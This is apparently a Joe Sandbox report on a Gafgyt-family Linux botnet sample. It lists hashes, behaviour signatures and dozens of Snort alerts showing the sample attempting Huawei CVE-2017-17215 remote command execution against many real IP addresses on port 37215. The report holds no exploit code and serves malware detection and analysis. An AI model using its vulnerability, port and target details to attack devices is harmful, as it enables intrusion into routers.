Edit tour

Linux Analysis Report
d9PdCrDQ8X.elf

Overview

General Information

Sample name:	d9PdCrDQ8X.elf renamed because original name is a hash value
Original sample name:	d581d6c28be4e8f377c262d286fa26c6.elf
Analysis ID:	1394733
MD5:	d581d6c28be4e8f377c262d286fa26c6
SHA1:	860123f5fcb90bea1fba2b224534e372e48c5e2d
SHA256:	e87c79ccad530c3dc25895be2dc7f25f64a24ef512f096a17f877283da942260
Tags:	32elfgafgytrenesas
Infos:

Detection

Score:	64
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Connects to many ports of the same IP (likely port scanning)

Uses known network protocols on non-standard ports

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

HTTP GET or POST without a user agent

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Analysis Advice

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

All HTTP servers contacted by the sample do not answer. The sample is likely an old dropper which does no longer work.

Some HTTP requests failed (404). It is likely that the sample will exhibit less behavior.

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1394733
Start date and time:	2024-02-19 18:34:56 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	d9PdCrDQ8X.elf renamed because original name is a hash value
Original Sample Name:	d581d6c28be4e8f377c262d286fa26c6.elf
Detection:	MAL
Classification:	mal64.troj.linELF@0/0@0/0

Warnings

Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: d9PdCrDQ8X.elf

Runtime Messages

Command:	/tmp/d9PdCrDQ8X.elf
PID:	6218
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	Yakuza Botnet
Standard Error:

Process Tree

system is lnxubuntu20

d9PdCrDQ8X.elf (PID: 6218, Parent: 6132, MD5: 8943e5f8f8c280467b4472c15ae93ba9) Arguments: /tmp/d9PdCrDQ8X.elf

d9PdCrDQ8X.elf New Fork (PID: 6220, Parent: 6218)

d9PdCrDQ8X.elf New Fork (PID: 6222, Parent: 6220)

d9PdCrDQ8X.elf New Fork (PID: 6224, Parent: 6220)

d9PdCrDQ8X.elf New Fork (PID: 6226, Parent: 6220)

cleanup

Snort Signatures

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 45.207.185.93

Timestamp:	02/19/24-18:35:54.441383
SID:	2829579
Source Port:	49578
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 31.200.102.30

Timestamp:	02/19/24-18:35:54.793808
SID:	2835222
Source Port:	34270
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 31.136.103.148

Timestamp:	02/19/24-18:35:54.707400
SID:	2835222
Source Port:	41992
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 31.200.101.60

Timestamp:	02/19/24-18:35:54.783835
SID:	2835222
Source Port:	32950
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 31.200.37.46

Timestamp:	02/19/24-18:35:41.840136
SID:	2835222
Source Port:	60598
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 31.200.124.108

Timestamp:	02/19/24-18:35:41.859208
SID:	2835222
Source Port:	60040
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 45.207.143.109

Timestamp:	02/19/24-18:35:54.435920
SID:	2835222
Source Port:	53282
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 31.200.81.98

Timestamp:	02/19/24-18:35:47.306767
SID:	2835222
Source Port:	45918
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 45.125.57.80

Timestamp:	02/19/24-18:35:50.047574
SID:	2835222
Source Port:	50194
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 31.136.225.12

Timestamp:	02/19/24-18:35:54.704138
SID:	2835222
Source Port:	51482
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 45.207.134.167

Timestamp:	02/19/24-18:35:54.441699
SID:	2829579
Source Port:	47904
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 31.136.116.1

Timestamp:	02/19/24-18:35:47.245343
SID:	2829579
Source Port:	53412
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 31.24.86.71

Timestamp:	02/19/24-18:35:54.950298
SID:	2829579
Source Port:	34588
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 31.136.86.201

Timestamp:	02/19/24-18:35:54.524525
SID:	2829579
Source Port:	35580
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 31.200.101.60

Timestamp:	02/19/24-18:35:54.783835
SID:	2829579
Source Port:	32950
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 31.136.28.189

Timestamp:	02/19/24-18:35:54.528743
SID:	2829579
Source Port:	44266
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 31.136.207.210

Timestamp:	02/19/24-18:35:54.704557
SID:	2835222
Source Port:	55528
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 45.207.150.124

Timestamp:	02/19/24-18:35:49.924235
SID:	2829579
Source Port:	32800
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 31.136.103.148

Timestamp:	02/19/24-18:35:54.707400
SID:	2829579
Source Port:	41992
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 31.200.93.247

Timestamp:	02/19/24-18:35:54.658812
SID:	2829579
Source Port:	57210
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 31.24.86.71

Timestamp:	02/19/24-18:35:54.950298
SID:	2835222
Source Port:	34588
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 45.33.251.121

Timestamp:	02/19/24-18:35:50.845695
SID:	2835222
Source Port:	37370
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 31.136.225.12

Timestamp:	02/19/24-18:35:54.704138
SID:	2829579
Source Port:	51482
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 31.31.168.14

Timestamp:	02/19/24-18:35:47.245615
SID:	2835222
Source Port:	58328
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 31.136.6.149

Timestamp:	02/19/24-18:35:47.244055
SID:	2835222
Source Port:	49888
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 31.200.92.35

Timestamp:	02/19/24-18:35:54.800104
SID:	2829579
Source Port:	48036
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 31.136.239.96

Timestamp:	02/19/24-18:35:41.806071
SID:	2835222
Source Port:	45794
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 31.136.194.47

Timestamp:	02/19/24-18:35:47.242761
SID:	2829579
Source Port:	59110
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 45.207.135.78

Timestamp:	02/19/24-18:35:49.918583
SID:	2835222
Source Port:	39406
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 45.207.133.229

Timestamp:	02/19/24-18:35:54.442352
SID:	2835222
Source Port:	55034
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 31.200.93.247

Timestamp:	02/19/24-18:35:54.658812
SID:	2835222
Source Port:	57210
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 31.200.25.130

Timestamp:	02/19/24-18:35:54.651309
SID:	2835222
Source Port:	40076
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 31.200.37.46

Timestamp:	02/19/24-18:35:41.840136
SID:	2829579
Source Port:	60598
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 31.136.242.93

Timestamp:	02/19/24-18:35:54.526681
SID:	2835222
Source Port:	34586
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 31.200.59.235

Timestamp:	02/19/24-18:35:54.648624
SID:	2829579
Source Port:	56056
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 31.200.81.98

Timestamp:	02/19/24-18:35:47.306767
SID:	2829579
Source Port:	45918
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 31.200.50.90

Timestamp:	02/19/24-18:35:41.840024
SID:	2829579
Source Port:	47862
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 45.207.136.175

Timestamp:	02/19/24-18:35:49.918268
SID:	2835222
Source Port:	48150
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 31.200.104.7

Timestamp:	02/19/24-18:35:54.781686
SID:	2835222
Source Port:	58810
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 31.136.53.108

Timestamp:	02/19/24-18:35:41.805867
SID:	2835222
Source Port:	51534
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 31.136.245.12

Timestamp:	02/19/24-18:35:47.243496
SID:	2829579
Source Port:	57332
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 31.136.254.134

Timestamp:	02/19/24-18:35:47.242522
SID:	2835222
Source Port:	55980
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 45.125.57.80

Timestamp:	02/19/24-18:35:50.047574
SID:	2829579
Source Port:	50194
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 31.136.19.12

Timestamp:	02/19/24-18:35:47.242177
SID:	2835222
Source Port:	36944
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 31.136.117.81

Timestamp:	02/19/24-18:35:47.243747
SID:	2829579
Source Port:	42198
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 94.120.246.208

Timestamp:	02/19/24-18:35:54.568259
SID:	2835222
Source Port:	56824
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 31.136.90.72

Timestamp:	02/19/24-18:35:54.703846
SID:	2835222
Source Port:	54162
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 45.207.158.168

Timestamp:	02/19/24-18:35:49.917885
SID:	2829579
Source Port:	48738
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 31.136.6.149

Timestamp:	02/19/24-18:35:47.244055
SID:	2829579
Source Port:	49888
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 31.136.215.98

Timestamp:	02/19/24-18:35:47.243153
SID:	2835222
Source Port:	60330
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 31.136.242.93

Timestamp:	02/19/24-18:35:54.526681
SID:	2829579
Source Port:	34586
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 31.136.245.12

Timestamp:	02/19/24-18:35:47.243496
SID:	2835222
Source Port:	57332
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 31.31.168.14

Timestamp:	02/19/24-18:35:47.245615
SID:	2829579
Source Port:	58328
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 45.42.88.243

Timestamp:	02/19/24-18:35:42.738146
SID:	2835222
Source Port:	35782
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 31.136.254.134

Timestamp:	02/19/24-18:35:47.242522
SID:	2829579
Source Port:	55980
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 45.41.87.97

Timestamp:	02/19/24-18:35:50.845814
SID:	2829579
Source Port:	45102
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 31.136.117.81

Timestamp:	02/19/24-18:35:47.243747
SID:	2835222
Source Port:	42198
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 31.200.92.35

Timestamp:	02/19/24-18:35:54.800104
SID:	2835222
Source Port:	48036
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 31.136.167.127

Timestamp:	02/19/24-18:35:47.241747
SID:	2835222
Source Port:	35348
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 31.25.12.63

Timestamp:	02/19/24-18:35:47.216031
SID:	2835222
Source Port:	36238
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 31.136.90.72

Timestamp:	02/19/24-18:35:54.703846
SID:	2829579
Source Port:	54162
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 45.43.225.248

Timestamp:	02/19/24-18:35:42.738000
SID:	2829579
Source Port:	57704
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 31.136.188.247

Timestamp:	02/19/24-18:35:54.707724
SID:	2835222
Source Port:	36918
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 45.207.158.168

Timestamp:	02/19/24-18:35:49.917885
SID:	2835222
Source Port:	48738
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 45.207.133.229

Timestamp:	02/19/24-18:35:54.442352
SID:	2829579
Source Port:	55034
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 94.120.246.208

Timestamp:	02/19/24-18:35:54.568259
SID:	2829579
Source Port:	56824
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 31.136.215.98

Timestamp:	02/19/24-18:35:47.243153
SID:	2829579
Source Port:	60330
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 45.43.224.98

Timestamp:	02/19/24-18:35:54.342496
SID:	2829579
Source Port:	57674
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 31.136.53.108

Timestamp:	02/19/24-18:35:41.805867
SID:	2829579
Source Port:	51534
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 31.200.59.235

Timestamp:	02/19/24-18:35:54.648624
SID:	2835222
Source Port:	56056
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 45.41.87.97

Timestamp:	02/19/24-18:35:50.845814
SID:	2835222
Source Port:	45102
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 31.200.25.130

Timestamp:	02/19/24-18:35:54.651309
SID:	2829579
Source Port:	40076
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 45.43.225.248

Timestamp:	02/19/24-18:35:42.738000
SID:	2835222
Source Port:	57704
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 31.200.104.7

Timestamp:	02/19/24-18:35:54.781686
SID:	2829579
Source Port:	58810
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 31.136.167.127

Timestamp:	02/19/24-18:35:47.241747
SID:	2829579
Source Port:	35348
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 45.33.251.121

Timestamp:	02/19/24-18:35:50.845695
SID:	2829579
Source Port:	37370
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 31.200.50.90

Timestamp:	02/19/24-18:35:41.840024
SID:	2835222
Source Port:	47862
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 31.136.19.12

Timestamp:	02/19/24-18:35:47.242177
SID:	2829579
Source Port:	36944
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 45.43.224.98

Timestamp:	02/19/24-18:35:54.342496
SID:	2835222
Source Port:	57674
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 45.42.88.243

Timestamp:	02/19/24-18:35:42.738146
SID:	2829579
Source Port:	35782
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 45.207.136.175

Timestamp:	02/19/24-18:35:49.918268
SID:	2829579
Source Port:	48150
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 31.136.188.247

Timestamp:	02/19/24-18:35:54.707724
SID:	2829579
Source Port:	36918
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 31.136.207.210

Timestamp:	02/19/24-18:35:54.704557
SID:	2829579
Source Port:	55528
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 31.200.124.108

Timestamp:	02/19/24-18:35:41.859208
SID:	2829579
Source Port:	60040
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 31.136.116.1

Timestamp:	02/19/24-18:35:47.245343
SID:	2835222
Source Port:	53412
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 31.136.194.47

Timestamp:	02/19/24-18:35:47.242761
SID:	2835222
Source Port:	59110
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 31.200.102.30

Timestamp:	02/19/24-18:35:54.793808
SID:	2829579
Source Port:	34270
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 45.207.134.167

Timestamp:	02/19/24-18:35:54.441699
SID:	2835222
Source Port:	47904
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 31.25.12.63

Timestamp:	02/19/24-18:35:47.216031
SID:	2829579
Source Port:	36238
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 45.207.150.124

Timestamp:	02/19/24-18:35:49.924235
SID:	2835222
Source Port:	32800
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 45.207.143.109

Timestamp:	02/19/24-18:35:54.435920
SID:	2829579
Source Port:	53282
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 31.136.239.96

Timestamp:	02/19/24-18:35:41.806071
SID:	2829579
Source Port:	45794
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 31.136.86.201

Timestamp:	02/19/24-18:35:54.524525
SID:	2835222
Source Port:	35580
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 45.207.185.93

Timestamp:	02/19/24-18:35:54.441383
SID:	2835222
Source Port:	49578
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

